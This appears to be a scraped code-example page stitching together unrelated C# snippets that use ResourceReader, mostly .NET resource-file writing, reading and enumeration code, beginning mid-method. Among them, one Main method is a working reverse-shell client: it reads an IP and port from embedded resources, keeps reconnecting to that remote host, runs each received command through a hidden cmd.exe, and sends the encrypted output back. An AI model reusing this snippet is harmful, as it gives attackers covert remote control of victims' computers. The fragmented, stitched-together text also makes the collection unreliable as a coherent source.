            var    asm     = typeof(CrispImageConverter).Assembly;
            string resName = asm.GetName().Name + ".g.resources";

            using (var stream = asm.GetManifestResourceStream(resName))
            {
                if (stream == null)
                {
                    return;                                 // design time
                }
                using (var reader = new System.Resources.ResourceReader(stream))
                {
                    imageResources = reader.Cast <DictionaryEntry>()
                                     .Select(x => (string)x.Key)
                                     .Where(key => key.StartsWith("images/", StringComparison.OrdinalIgnoreCase))
                                     .Select(uri => new
                    {
                        Source = new ImageSourceInfo()
                        {
                            Uri  = "/Swiddler;component/" + FixXamlExtension(uri),
                            Size = GetImageSize(uri, out var nameKey)
                        },
Пример #45
0
 public BuiltinResourceSet(String fileName)
     : base()
 {
     Reader = new ResourceReader(fileName);
     readResourcesCalled = false;
 }
Пример #46
0
        public void Generate()
        {
            if (generateDone)
            {
                throw new InvalidOperationException
                          (_("Invalid_ResourceWriterClosed"));
            }
            BinaryWriter bw = new BinaryWriter(stream);

            try
            {
                // Write the resource file header.
                bw.Write(ResourceManager.MagicNumber);
                bw.Write(ResourceManager.HeaderVersionNumber);
                MemoryStream mem   = new MemoryStream();
                BinaryWriter membw = new BinaryWriter(mem);
                membw.Write("System.Resources.ResourceReader, mscorlib");
                membw.Write
                    ("System.Resources.RuntimeResourceSet, mscorlib");
                membw.Flush();
                bw.Write((int)(mem.Length));
                bw.Write(mem.GetBuffer(), 0, (int)(mem.Length));

                // Write the resource set header.
                bw.Write(1);                                    // Resource set version number.
                bw.Write(table.Count);                          // Number of resources.

                // Create streams for the name and value sections.
                MemoryStream names        = new MemoryStream();
                BinaryWriter namesWriter  = new BinaryWriter(names);
                MemoryStream values       = new MemoryStream();
                BinaryWriter valuesWriter = new BinaryWriter(values);
                int[]        nameHash     = new int [table.Count];
                int[]        namePosition = new int [table.Count];
                int          posn         = 0;

                // Process all values in the resource set.
                IDictionaryEnumerator e = table.GetEnumerator();
                while (e.MoveNext())
                {
                    // Hash the name and record the name position.
                    nameHash[posn]     = ResourceReader.Hash((String)(e.Key));
                    namePosition[posn] = (int)(names.Position);
                    ++posn;

                    // Write out the name and value index.
                    WriteKey(namesWriter, (String)(e.Key));
                    namesWriter.Write((int)(values.Position));

                    // Write the type table index to the value section.
                    Object value = e.Value;
                    if (value == null)
                    {
                        valuesWriter.Write7BitEncoded(-1);
                    }
                    else
                    {
                        valuesWriter.Write7BitEncoded
                            (types.IndexOf(value.GetType()));
                    }

                    // Write the value to the value section.
                    if (value != null)
                    {
                        WriteValue(values, valuesWriter, value);
                    }
                }

                // Write the type table.
                bw.Write(types.Count);
                foreach (Type t in types)
                {
                    bw.Write(t.AssemblyQualifiedName);
                }

                // Align on an 8-byte boundary.
                bw.Flush();
                while ((bw.BaseStream.Position & 7) != 0)
                {
                    bw.Write((byte)0);
                    bw.Flush();
                }

                // Sort the name hash and write it out.
                Array.Sort(nameHash, namePosition);
                foreach (int hash in nameHash)
                {
                    bw.Write(hash);
                }
                foreach (int pos in namePosition)
                {
                    bw.Write(pos);
                }

                // Write the offset of the value section.
                bw.Flush();
                namesWriter.Flush();
                valuesWriter.Flush();
                bw.Write((int)(bw.BaseStream.Position + names.Length + 4));

                // Write the name and value sections.
                bw.Write(names.GetBuffer(), 0, (int)(names.Length));
                bw.Write(values.GetBuffer(), 0, (int)(values.Length));
                names.Close();
                values.Close();
            }
            finally
            {
                generateDone = true;
                bw.Flush();
                ((IDisposable)bw).Dispose();
            }
        }
Пример #47
0
 internal RuntimeResourceSet(Stream stream, bool permitDeserialization = false) : base(false)
 {
     _resCache      = new Dictionary <string, ResourceLocator>(FastResourceComparer.Default);
     _defaultReader = new ResourceReader(stream, _resCache, permitDeserialization);
     Reader         = _defaultReader;
 }
            private int _dataPosition; // cached for case-insensitive table

            internal ResourceEnumerator(ResourceReader reader)
            {
                _currentName  = ENUM_NOT_STARTED;
                _reader       = reader;
                _dataPosition = -2;
            }
        static void Main(String[] args)
        {
            var    assembly            = Assembly.GetExecutingAssembly();
            Stream fs                  = assembly.GetManifestResourceStream("Client.temp.resources");
            var    readed              = new System.Resources.ResourceReader(fs);
            IDictionaryEnumerator dict = readed.GetEnumerator();

            dict.MoveNext();
            String ipAddress = (String)dict.Value;

            dict.MoveNext();
            int port = Convert.ToInt32((String)dict.Value);

            TcpClient tcpCli = new TcpClient();

            Console.WriteLine("Waiting for connection...");

            while (true)
            {
                try
                {
                    tcpCli.Connect(ipAddress, port);
                }
                catch
                {
                    continue;
                }

                if (tcpCli.Connected)
                {
                    break;
                }
            }

            //Add an Async so the client exe doesn't auto close
            while (true)
            {
                String dataRcved = DownloadData(tcpCli);

                System.Diagnostics.Process          process   = new System.Diagnostics.Process();
                System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
                startInfo.WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden;
                startInfo.FileName               = "cmd.exe";
                startInfo.Arguments              = "/C " + dataRcved;
                startInfo.RedirectStandardOutput = true;
                startInfo.UseShellExecute        = false;
                process.StartInfo = startInfo;
                process.Start();

                StringBuilder outputted = new StringBuilder();
                while (!process.StandardOutput.EndOfStream)
                {
                    outputted.Append(process.StandardOutput.ReadLine() + "\n");
                }

                process.WaitForExit();

                byte[]        output    = encrypt(outputted.ToString());
                NetworkStream netStream = tcpCli.GetStream();
                netStream.Write(output, 0, output.Length);
            }
        }
Пример #50
0
 internal RuntimeResourceSet(Stream stream) : base(false)
 {
     this._resCache      = new Dictionary <string, ResourceLocator>(FastResourceComparer.Default);
     this._defaultReader = new ResourceReader(stream, this._resCache);
     base.Reader         = this._defaultReader;
 }
Пример #51
0
 internal ResourceEnumerator(ResourceReader readerToEnumerate)
 {
     reader = readerToEnumerate;
 }
Пример #52
0
 // Constructors.
 public BuiltinResourceSet(Stream stream)
     : base()
 {
     Reader = new ResourceReader(stream);
     readResourcesCalled = false;
 }
Пример #53
0
 internal ResourceEnumerator(ResourceReader reader)
 {
     _currentName = ENUM_NOT_STARTED;
     _reader      = reader;
 }
Пример #54
0
 internal RuntimeResourceSet(Stream stream) : base(false)
 {
     _resCache      = new Dictionary <String, ResourceLocator>(FastResourceComparer.Default);
     _defaultReader = new ResourceReader(stream, _resCache);
     Reader         = _defaultReader;
 }
Пример #55
0
 internal ResourceEnumerator(ResourceReader reader)
 {
     this._currentName  = -1;
     this._reader       = reader;
     this._dataPosition = -2;
 }
        internal ResourceSet CreateResourceSet(Stream store, Assembly assembly)
        {
            Debug.Assert(store != null, "I need a Stream!");
            // Check to see if this is a Stream the ResourceManager understands,
            // and check for the correct resource reader type.
            if (store.CanSeek && store.Length > 4)
            {
                long startPos = store.Position;

                // not disposing because we want to leave stream open
                BinaryReader br = new BinaryReader(store);

                // Look for our magic number as a little endian int.
                int bytes = br.ReadInt32();
                if (bytes == ResourceManager.MagicNumber)
                {
                    int    resMgrHeaderVersion = br.ReadInt32();
                    string?readerTypeName = null, resSetTypeName = null;
                    if (resMgrHeaderVersion == ResourceManager.HeaderVersionNumber)
                    {
                        br.ReadInt32();  // We don't want the number of bytes to skip.
                        readerTypeName = br.ReadString();
                        resSetTypeName = br.ReadString();
                    }
                    else if (resMgrHeaderVersion > ResourceManager.HeaderVersionNumber)
                    {
                        // Assume that the future ResourceManager headers will
                        // have two strings for us - the reader type name and
                        // resource set type name.  Read those, then use the num
                        // bytes to skip field to correct our position.
                        int  numBytesToSkip = br.ReadInt32();
                        long endPosition    = br.BaseStream.Position + numBytesToSkip;

                        readerTypeName = br.ReadString();
                        resSetTypeName = br.ReadString();

                        br.BaseStream.Seek(endPosition, SeekOrigin.Begin);
                    }
                    else
                    {
                        // resMgrHeaderVersion is older than this ResMgr version.
                        // We should add in backwards compatibility support here.
                        Debug.Assert(_mediator.MainAssembly != null);
                        throw new NotSupportedException(SR.Format(SR.NotSupported_ObsoleteResourcesFile, _mediator.MainAssembly.GetName().Name));
                    }

                    store.Position = startPos;
                    // Perf optimization - Don't use Reflection for our defaults.
                    // Note there are two different sets of strings here - the
                    // assembly qualified strings emitted by ResourceWriter, and
                    // the abbreviated ones emitted by InternalResGen.
                    if (CanUseDefaultResourceClasses(readerTypeName, resSetTypeName))
                    {
                        return(new RuntimeResourceSet(store, permitDeserialization: true));
                    }
                    else
                    {
                        IResourceReader reader;

                        // Permit deserialization as long as the default ResourceReader is used
                        if (ResourceManager.IsDefaultType(readerTypeName, ResourceManager.ResReaderTypeName))
                        {
                            reader = new ResourceReader(
                                store,
                                new Dictionary <string, ResourceLocator>(FastResourceComparer.Default),
                                permitDeserialization: true);
                        }
                        else
                        {
                            Type     readerType = Type.GetType(readerTypeName, throwOnError: true) !;
                            object[] args       = new object[1];
                            args[0] = store;
                            reader  = (IResourceReader)Activator.CreateInstance(readerType, args) !;
                        }

                        object[] resourceSetArgs = new object[1];
                        resourceSetArgs[0] = reader;

                        Type resSetType;
                        if (_mediator.UserResourceSet == null)
                        {
                            Debug.Assert(resSetTypeName != null, "We should have a ResourceSet type name from the custom resource file here.");
                            resSetType = Type.GetType(resSetTypeName, true, false) !;
                        }
                        else
                        {
                            resSetType = _mediator.UserResourceSet;
                        }

                        ResourceSet rs = (ResourceSet)Activator.CreateInstance(resSetType,
                                                                               BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.CreateInstance,
                                                                               null,
                                                                               resourceSetArgs,
                                                                               null,
                                                                               null) !;
                        return(rs);
                    }
                }
                else
                {
                    store.Position = startPos;
                }
            }

            if (_mediator.UserResourceSet == null)
            {
                return(new RuntimeResourceSet(store, permitDeserialization: true));
            }
            else
            {
                object[] args = new object[2];
                args[0] = store;
                args[1] = assembly;
                try
                {
                    ResourceSet?rs = null;
                    // Add in a check for a constructor taking in an assembly first.
                    try
                    {
                        rs = (ResourceSet)Activator.CreateInstance(_mediator.UserResourceSet, args) !;
                        return(rs);
                    }
                    catch (MissingMethodException) { }

                    args    = new object[1];
                    args[0] = store;
                    rs      = (ResourceSet)Activator.CreateInstance(_mediator.UserResourceSet, args) !;

                    return(rs);
                }
                catch (MissingMethodException e)
                {
                    throw new InvalidOperationException(SR.Format(SR.InvalidOperation_ResMgrBadResSet_Type, _mediator.UserResourceSet.AssemblyQualifiedName), e);
                }
            }
        }
Пример #57
0
 internal ResourceEnumerator(ResourceReader readerToEnumerate)
 {
     this.reader = readerToEnumerate;
     this.FillCache();
 }
Пример #58
0
 internal ResourceEnumerator(ResourceReader readerToEnumerate)
 {
     reader = readerToEnumerate;
     FillCache();
 }
Пример #59
0
        // ******************************************************************
        /// <summary>
        /// The path separator is '/'.  The path should not start with '/'.
        /// </summary>
        /// <param name="asm"></param>
        /// <param name="path"></param>
        /// <returns></returns>
        public static Stream GetAssemblyResourceStream(Assembly asm, string path)
        {
            // Just to be sure
            if (path[0] == '/')
            {
                path = path.Substring(1);
            }

            // Just to be sure
            if (path.IndexOf('\\') == -1)
            {
                path = path.Replace('\\', '/');
            }

            Stream resStream = null;

            string resName = asm.GetName().Name + ".g.resources";     // Ref: Thomas Levesque Answer at:

            // http://stackoverflow.com/questions/2517407/enumerating-net-assembly-resources-at-runtime

            using (var stream = asm.GetManifestResourceStream(resName))
            {
                using (var resReader = new System.Resources.ResourceReader(stream))
                {
                    string dataType = null;
                    byte[] data     = null;
                    try
                    {
                        resReader.GetResourceData(path.ToLower(), out dataType, out data);
                    }
                    catch (Exception ex)
                    {
                        DebugPrintResources(resReader);
                    }

                    if (data != null)
                    {
                        switch (dataType)     // COde from
                        {
                        // Handle internally serialized string data (ResourceTypeCode members).
                        case "ResourceTypeCode.String":
                            BinaryReader reader  = new BinaryReader(new MemoryStream(data));
                            string       binData = reader.ReadString();
                            Console.WriteLine("   Recreated Value: {0}", binData);
                            break;

                        case "ResourceTypeCode.Int32":
                            Console.WriteLine("   Recreated Value: {0}", BitConverter.ToInt32(data, 0));
                            break;

                        case "ResourceTypeCode.Boolean":
                            Console.WriteLine("   Recreated Value: {0}", BitConverter.ToBoolean(data, 0));
                            break;

                        // .jpeg image stored as a stream.
                        case "ResourceTypeCode.Stream":
                            ////const int OFFSET = 4;
                            ////int size = BitConverter.ToInt32(data, 0);
                            ////Bitmap value1 = new Bitmap(new MemoryStream(data, OFFSET, size));
                            ////Console.WriteLine("   Recreated Value: {0}", value1);

                            const int OFFSET = 4;
                            resStream = new MemoryStream(data, OFFSET, data.Length - OFFSET);

                            break;

                        // Our only other type is DateTimeTZI.
                        default:
                            ////// No point in deserializing data if the type is unavailable.
                            ////if (dataType.Contains("DateTimeTZI") && loaded)
                            ////{
                            ////    BinaryFormatter binFmt = new BinaryFormatter();
                            ////    object value2 = binFmt.Deserialize(new MemoryStream(data));
                            ////    Console.WriteLine("   Recreated Value: {0}", value2);
                            ////}
                            ////break;
                            break;
                        }

                        // resStream = new MemoryStream(resData);
                    }
                }
            }

            return(resStream);
        }
Пример #60
0
 // Constructor.
 public ResourceEnumerator(ResourceReader reader)
 {
     this.reader = reader;
     this.posn   = -1;
 }